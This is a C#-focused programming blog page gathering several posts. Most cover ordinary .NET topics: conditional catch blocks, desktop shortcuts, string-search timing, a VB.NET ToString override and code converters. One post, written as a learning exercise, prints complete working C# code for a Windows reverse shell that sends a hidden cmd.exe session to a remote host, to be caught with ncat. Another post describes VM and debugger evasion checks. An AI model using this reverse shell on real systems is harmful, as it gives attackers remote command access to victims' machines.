Showing posts with label CSharp. Show all posts
Showing posts with label CSharp. Show all posts

Tuesday, January 8, 2019

Reverse engineering evasion techniques with CSharp

I wrote some proof-of-concept code for detecting virtual machine and/or debugger environment. The code is available at GitHub. The code is not a complete collection of the all evasion techniques, just a few simple things to detect VM and/or debugger.

Here is how the application looks in the hosting OS i.e. Windows 10:
It has a false positive result in "Detect VM". The reason for this can be seen in the process list where it finds "vmware-authd" process. All the other indicators are however "negative".

Here is the same thing done in the Oracle VirtualBox environment with Windows 7:
Again it detects VM by process name(s). But now there are other indicators too: small system drive (under 128 GB), no BIOS serial number and finally WMI returns "VirtualBox" as system model. This is definitely a virtual machine.

Finally VMware player with Windows  8.1:
Once again it detects VM by process name(s). Other indicators are: small system drive and WMI returns "VMware Virtual Platform" as system model. These are also strong indicators for VM.

If you like to try the source code there is one point you may have to take into account. I got the following error message in VS2017:
There are many reasons why you could get this "Unable to copy file..." and "Could not find file..." error message. In this case it was F-Secure SAFE that detected object code as malicious and thus deleted the file. The workaround, if you get the same error, is to whitelist the source code folder in your AV product.








Wednesday, December 26, 2018

Windows Reverse Shell With CSharp


I was quite unfamiliar with the reverse shells so I wanted to understand the concept and learn to make one of my own. I started googling and there were many examples available for Linux environment. However, I wanted to get a reverse shell between two Windows machines. I found one example and that was written with CSharp which was even better: https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

I did not get the sample code to work which had much to do with my lack of understanding. But every failure is a great learning opportunity. I modified the original code and the final code I came up with accepts command line parameters. So here is my CSharp code for reverse shell:

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.Net.Sockets;

namespace RevShell
{
    class Program
    {
        static StreamWriter streamWriter;
        static Process p;

        // https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
        // https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
        static void Main(string[] args)
        {
            TcpClient client = null;
            Stream stream;
            StreamReader streamReader;
            StringBuilder strInput;
            string ipAddress = "127.0.0.1";
            int port = 0;

            // Commandline has IP and port number
            if(args.Length == 2)
            {
                ipAddress = args[0];
                if (int.TryParse(args[1], out port))
                {
                    // Port number 1 - 65535
                    if (port < 1 || port > 65535) port = 80;
                }
            } // Commandline has port number
            else if(args.Length == 1)
            {
                if(int.TryParse(args[0], out port))
                {
                    // Port number 1 - 65535
                    if (port < 1 || port > 65535) port = 80;
                }
            }
            if (port == 0) port = 80; // Use default
            try
            {
                // Connect to host
                client = new TcpClient(ipAddress, port);
                Console.WriteLine("Connecting: " + ipAddress + ":" + port);
            }
            catch(Exception ex)
            {
                Console.WriteLine("Exception: " + ex.Message);
                return;
            }
            stream = client.GetStream();
            streamReader = new StreamReader(stream);
            streamWriter = new StreamWriter(stream);

            strInput = new StringBuilder();

            // Create and start a shell in the client machine, redirect I/O to host machine
            p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
            p.Start();
            p.StandardInput.AutoFlush = true;
            p.BeginOutputReadLine();

            while (true)
            {
                try
                {
                    string line = streamReader.ReadLine();
                    if (!string.IsNullOrEmpty(line))
                    {
                        p.StandardInput.WriteLine(line);
                    }
                }
                catch(Exception ex)
                {
                    Console.WriteLine("Exception: " + ex.Message);
                    break;
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    string line = outLine.Data;
                    if(!string.IsNullOrEmpty(line))
                    {
                        streamWriter.WriteLine(line);
                        streamWriter.Flush();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Exception: " + ex.Message);
                }
            }
        }
    }
}

As this is a purely proof-of-concept code, it does not have any persistence or stealthy features.

The reverse shell contains two parts. First part is the shell itself which in the code above is cmd.exe. The second part is the communication from the "victim" machine back to caller's "server" which is done with the TCP Socket. Command shell is started as a new process and the process' standard input, output and error streams are redirected to the TCP Socket which in turn sends them to the caller.

The next problem was the "server" or caller side. There had to be some way to connect to the same TCP Socket. Every example I found used Linux's netcat command for this. With some more googling I found out that NMAP contains a Windows implementation of the netcat. So I downloaded Ncat utility: https://nmap.org/ncat/

Finally I had every piece I needed and the reverse shell worked like a charm :)

Start Ncat with -l and -v options to get it to listen mode and verbose mode.

Start reverse shell in the "victim" machine.


Sunday, April 22, 2018

Catching .NET exceptions with a condition

CSharp provides methods to catch exceptions only when a condition is met. This can be used for example to display a messagebox when the application is in development and when the application is in the production mode just write to log the exception.

Here is a very simple piece of code. The point in here is to catch the division by zero exception.

bool IsDevelopmentmode = true;

try
{
    for(int i = -2; i <= 2; i++)
    {
        int x = 4 / i;
    }
}
catch (DivideByZeroException ex) when (IsDevelopmentmode)
{
    MessageBox.Show("Error " + ex.Message, "Error",
        MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
catch (DivideByZeroException)
{
    // Log error
}


The code has two catch (DivideByZeroException) statements. The first one has a condition when (IsDevelopmentmode). As long as the condition is true the first catch statement is used. If the condition is false the latter catch statement is executed. As you can see it's possible to mix both conditional and unconditional catch statements. The condition can be any expression that evaluates to boolean value.

There must be at least one catch statement to capture exception. Otherwise the exception is thrown up in the call stack and in the worst case application's user gets the error message. Here is the same example without latter catch statement and the condition is set to false.

bool IsDevelopmentmode = false;

try
{
    for(int i = -2; i <= 2; i++)
    {
        int x = 4 / i;
    }
}
catch (DivideByZeroException ex) when (IsDevelopmentmode)
{
    MessageBox.Show("Error " + ex.Message, "Error",
        MessageBoxButtons.OK, MessageBoxIcon.Warning);
}


Now the exception is not catched and you get following error:


Sunday, April 15, 2018

Make a shortcut for application with CSharp

I needed to make a shortcut file (.lnk file) from my CSharp application. As far as I know there is no way to do it directly from the .NET code. Only way is to use Windows API calls or Windows scripting capabilities. I decided to use scripting and here is how it gets done.

First, add a reference to COM-object 'Windows Script Host Object Model' from your project's properties. Secondly, import namespace 'IWshRuntimeLibrary' in your code. And here is the code itself:

private void MakeShortcut(string appDisplayName, string exeFullPath)
{
    if (string.IsNullOrEmpty(appDisplayName) || string.IsNullOrEmpty(exeFullPath))
    {
        return; // Fail if name or path is missing
    }
    try
    {
        IWshShell_Class wsh = new IWshShell_Class();
        IWshRuntimeLibrary.IWshShortcut shortcut = wsh.CreateShortcut(
            Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\" + appName + ".lnk")
            as IWshRuntimeLibrary.IWshShortcut;
        shortcut.Arguments = "";
        shortcut.TargetPath = exeFullPath;
        shortcut.WindowStyle = 1; // Normal window
        shortcut.Description = "Shortcut to " + appName;
        shortcut.WorkingDirectory = "";
        shortcut.IconLocation = exeFullPath;
        shortcut.Save();
    }
    catch
    {

    }
}

I wrote it as a procedure so the code can be easily copy/pasted to other projects as well.

The code above makes a shortcut to Desktop, so change ' Environment.SpecialFolder.Desktop' if you need your shortcut to some other place.

Tuesday, April 10, 2018

String comparison, easy as a == b, right? Wrong!

I have recently used a lot of string comparison. Comparing strings is not as easy as one might think. The string comparison should also be done fast when you're dealing with massive amounts of text. I have needed both case-sensitive and case-insensitive string comparisons. I've also needed to determine if a string is a substring of the other string. I have used a few methods and their variants.

To determine if a string is a substring of another string I've used two methods:
- Contains method from the string class: .Contains()
- IndexOf method from the string class: .IndexOf()

Both methods do case-sensitive matching of the strings. However, IndexOf method has an overloaded version which does a case-insensitive matching:
- .IndexOf(, 0, StringComparison.OrdinalIgnoreCase)
Another method to do case-insensitive matching is to use ToLower() method (or ToUpper()) with both strings. Since I needed fast string comparisons I started to wonder if an extra ToLower() method call would cause a huge time penalty.

I decided to compare four methods and variants:
- case-sensitive Contains method: .Contains()
- case-sensitive IndexOf method: .IndexOf()
- case-insensitive IndexOf method with ToLower method: .ToLower().IndexOf(.ToLower())
- case-insensitive .IndexOf(, 0, StringComparison.OrdinalIgnoreCase)

I wrote a small CSharp console application that provides comparisons above and would get accurate enough timing of the comparisons. To get measurable timings each comparison variant was repeated in a loop.

So here is the code:

class Program
{
    public static string stringToSearch;
    public static string text = "A Function to search for";
    public static bool match = false;
    public static DateTime startTime;
    public static TimeSpan elapsedTime;

    public static int Method1(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for(int i = 0; i < loops; i++)
        { 
            match = text.Contains(stringToSearch);
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("Contains(" + stringToSearch + "): " + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method2(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i < loops; i++)
        {
            match = text.IndexOf(stringToSearch) >= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("IndexOf(" + stringToSearch + "): " + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method3(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i < loops; i++)
        {
            match = text.ToLower().IndexOf(stringToSearch.ToLower()) >= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("IndexOf(" + stringToSearch + ".ToLower()): " + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method4(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i < loops; i++)
        {
            match = text.IndexOf(stringToSearch, 0, StringComparison.OrdinalIgnoreCase) >= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("IndexOf(" + stringToSearch + ", 0, StringComparison.OrdinalIgnoreCase) :" + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    static void Main(string[] args)
    {
        int loops = 1000000; // One million
        int m1 = 0;
        int m2 = 0;
        int m3 = 0;
        int m4 = 0;

        stringToSearch = "Function";
        m1 += Method1(loops, stringToSearch);
        m2 += Method2(loops, stringToSearch);
        m3 += Method3(loops, stringToSearch);
        m4 += Method4(loops, stringToSearch);

        Console.WriteLine();
        stringToSearch = "not found";
        m1 += Method1(loops, stringToSearch);
        m2 += Method2(loops, stringToSearch);
        m3 += Method3(loops, stringToSearch);
        m4 += Method4(loops, stringToSearch);

        Console.WriteLine();
        Console.WriteLine("Method 1 Elapsed: " + (int)(m1 / 2));
        Console.WriteLine("Method 2 Elapsed: " + (int)(m2 / 2));
        Console.WriteLine("Method 3 Elapsed: " + (int)(m3 / 2));
        Console.WriteLine("Method 4 Elapsed: " + (int)(m4 / 2));

        Console.ReadKey();
    }
}


The code itself is pretty simple and should be self- explanatory.



Each method was executed both with a string that would be found and with a string that would not be found. The final timing was the average of these two.

For the case-insensitive searching .IndexOf(, 0, StringComparison.OrdinalIgnoreCase) seems to be the best choice. I was a bit surprised that this was faster than basic .IndexOf() search. If you need only case-sensitive search then .Contains() would be the fastest method.

Thursday, November 27, 2008

Program your own ToString method with VB.NET

Every built-in type in VB.NET environment has a ToString method which returns a textual representation of the value. ToString method is declared to System.Object as

Public Overridable Function ToString() As String

and very class that inherits from System.Object inherits ToString method too. Since ToString method is declared as Overridable, inherited classes typically override this base method. Besides inheriting ToString method it is also overloaded with method that accepts a format string as a parameter. More information about format strings for ToString method can be found in MSDN. Here's a link to Int64.ToString method with format string. The same MSDN page contains also examples for formatting numbers, dates and time. Examples are provided to both VB.NET and C#.

When you write your own classes in VB.NET, there's nothing to prevent that you write your own ToString method too. Here's a simple PersonName class that implements ToString method.

Option Explicit On
Option Strict On
Public Class PersonName

  Private _FirstName As String
  Private _LastName As String

  Public Sub New()
    ' Initialize class
    _FirstName = ""
    _LastName = ""

  End Sub

  Public Sub New(ByVal FirstName As String, ByVal LastName As String)
    ' Initialize class
    _FirstName = FirstName
    _LastName = LastName

  End Sub

  Public Property FirstName() As String
    '
    Get
      Return _FirstName
    End Get
    Set(ByVal value As String)
      _FirstName = value
    End Set

  End Property

  Public Property LastName() As String
    Get
      Return _LastName
    End Get
    Set(ByVal value As String)
      _LastName = value
    End Set

  End Property

  Public Overrides Function ToString() As String
    ' Return name as a string
    Dim TempStr As String

    TempStr = ""
    If _FirstName.Length > 0 Then
      TempStr = _FirstName
    End If
    If _LastName.Length > 0 Then
      If TempStr.Length > 0 Then
        ' Add space between names
        TempStr = TempStr & " " & _LastName
      Else
        TempStr = _LastName
      End If
    End If
    Return TempStr

  End Function

  Public Overloads Function ToString(ByVal Format As String) As String
    ' Return name as a string
    ' Format="f", "l", "fl", "lf", "f,l", "l,f"
    Dim TempStr As String

    TempStr = ""
    Select Case Format
      Case "f"
        TempStr = _FirstName
      Case "l"
        TempStr = _LastName
      Case "fl"
        If _FirstName.Length > 0 Then
          TempStr = _FirstName
        End If
        If _LastName.Length > 0 Then
          If TempStr.Length > 0 Then
            ' Add space between names
            TempStr = TempStr & " " & _LastName
          Else
            TempStr = _LastName
          End If
        End If
      Case "lf"
        If _LastName.Length > 0 Then
          TempStr = _LastName
        End If
        If _FirstName.Length > 0 Then
          If TempStr.Length > 0 Then
            ' Add space between names
            TempStr = TempStr & " " & _FirstName
          Else
            TempStr = _FirstName
          End If
        End If
      Case "f,l"
        If _FirstName.Length > 0 Then
          TempStr = _FirstName
        End If
        If _LastName.Length > 0 Then
          If TempStr.Length > 0 Then
            ' Add space between names
            TempStr = TempStr & ", " & _LastName
          Else
            TempStr = _LastName
          End If
        End If
      Case "l,f"
        If _LastName.Length > 0 Then
          TempStr = _LastName
        End If
        If _FirstName.Length > 0 Then
          If TempStr.Length > 0 Then
            ' Add space between names
            TempStr = TempStr & ", " & _FirstName
          Else
            TempStr = _FirstName
          End If
        End If
    End Select
    Return TempStr

  End Function

End Class

The first ToString method has to be declared as Overrides, since the class is inherited from System.Object and the method overrides the method from the base class.

The second ToString method accepts a format string argument and it has to be declared as Overloads, since it overloads our first method. Accepted format strings are "f", "l", "fl", "lf", "f,l" and "l,f" and they affect if either first or the last name is outputted first and how they are separated.

The following example shows, how to test ToString methods and how the output from the our custom ToString method is formatted.

Dim aPersonName As New PersonName("John", "Doe")
MessageBox.Show(aPersonName.ToString, _
  "Name", MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString("f"), _
  "Name", MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString("l"), _
  "Name", MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString("fl"), _
  "Name", MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString("lf"), _
  "Name", MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString("f,l"), _
  "Name", MessageBoxButtons.OK, MessageBoxIcon.Information)
MessageBox.Show(aPersonName.ToString("l,f"), _
  "Name", MessageBoxButtons.OK, MessageBoxIcon.Information)

And the resulting output is

John Doe
John
Doe
John Doe
Doe John
John, Doe
Doe, John

Thursday, November 13, 2008

Convert CSharp source code to VB.NET source code

Occasionally you search for code samples or code snippets for a specific problem with the search engines. Usually you do find a code snippet but it is written in a "wrong" language, most notably with C#. Then you face the problem, how to convert C# code to VB.NET code. Of course, you can do it manually if you're CSharp literate.

Fortunately there are a few options to translate C# source code to VB.NET automatically and for free. Translators can be divided in two categories, web-based translators and applications that are capable to do the conversion. The pros of the web-based translators are obvious, you don't need to install any additional applications to your computer.

There are a few things to remember when using .NET code translators. Although the original source code might be fully tested, you need to re-test the translated code. There's always some code which can't be translated, at least correctly.

Here's a few rules of thumb to get most of the code converters. Do not try to translate a whole application. The result may be hard to test and the resulted source code may be more or less spaghetti style code. Keep it simple, translate only code snippets or one class at a time.

Finally, code translators usually work in both ways i.e. they translate from CSharp to VB.NET as well as from VB.NET to CSharp.

Web-based CSharp to VB.NET converters

http://www.carlosag.net/Tools/CodeTranslator/ is an on-line translator by Carlos Mares. Supported translations are C# -> VB.NET and VB.NET -> C#. As usually, the code is pasted in the text box and then you press Go-button. The translated code is replaced in the text box. Extra option is to upload a whole file to be translated.

http://www.developerfusion.com/tools/convert/csharp-to-vb/ is an on-line translator by Developer Fusion Ltd. Supported translations are C# -> VB.NET and VB.NET -> C#. Also .NET 3.5 syntax is supported. Extra feature is automatically copy result to clipboard. Developer Fusion's translator gives accurate information if the original source has error. It also gives information about the code parts that are not supported in the target language and thus are not possible to translate.

http://converter.telerik.com/ is an on-line translator by Telerik. Supported translations are C# -> VB.NET and VB.NET -> C#. Like Developer Fusion's translator, this translator gives accurate information if the original source has error. Translator also gives information about the code parts that are not supported in the target language and thus are not possible to translate.

A good list of translators, both free and commercial, can be found on Converting code between .NET programming languages
Converters mentioned above are just samples, new converts seem to arise in the net almost daily.

CSharp to VB.NET converter applications

SharpDevelop (http://www.sharpdevelop.net/) is actually an IDE for .NET programming. In the Tools-menu you'll find "Covert code to"-option. Supported translations are C# -> VB.NET, VB.NET -> C# and a conversions to a bit exotic Boo-language. As you can expect, you'll get messages from syntax errors in the original code. Also code parts that are not supported in the target language are marked with comments. Current SharpDevelop version is 2.2, but version 3.0 is in the beta phase and it will propably support .NET 3.5 syntax.

.NET Reflector (http://www.red-gate.com/products/reflector/) is a tool to view, navigate, and search through, the class hierarchies of .NET assemblies. .NET Reflector was originally programmed by Lutz Roeder but Red Gate Software Ltd. acquired it this year. They still offer a free version of it. Since Reflector handles assemblies rather than source code, it supports quite wide range of conversions. Easiest way to convert from the assembly to source code, is to use a suitable plug-in for the Reflector. In the case of VB.NET conversion, Denis Bauer has a great plug-in for this www.denisbauer.com/NETTools/FileDisassembler.aspx. Supported conversions i.e. source languages generated with this plug-in are C#, Visual Basic and Delphi. Latest version is 5.0.42.0 and it was published in 2007 so there's no .NET 3.5 support.

Which CSharp to VB.NET source code converter to choose from?

My personal favorite is Developer Fusion's translator since I convert often and small C# snippets to VB.NET. I've always got the job done with it and it's fast to use. However, take a look at the other converters too. You may find a more suitable for your needs.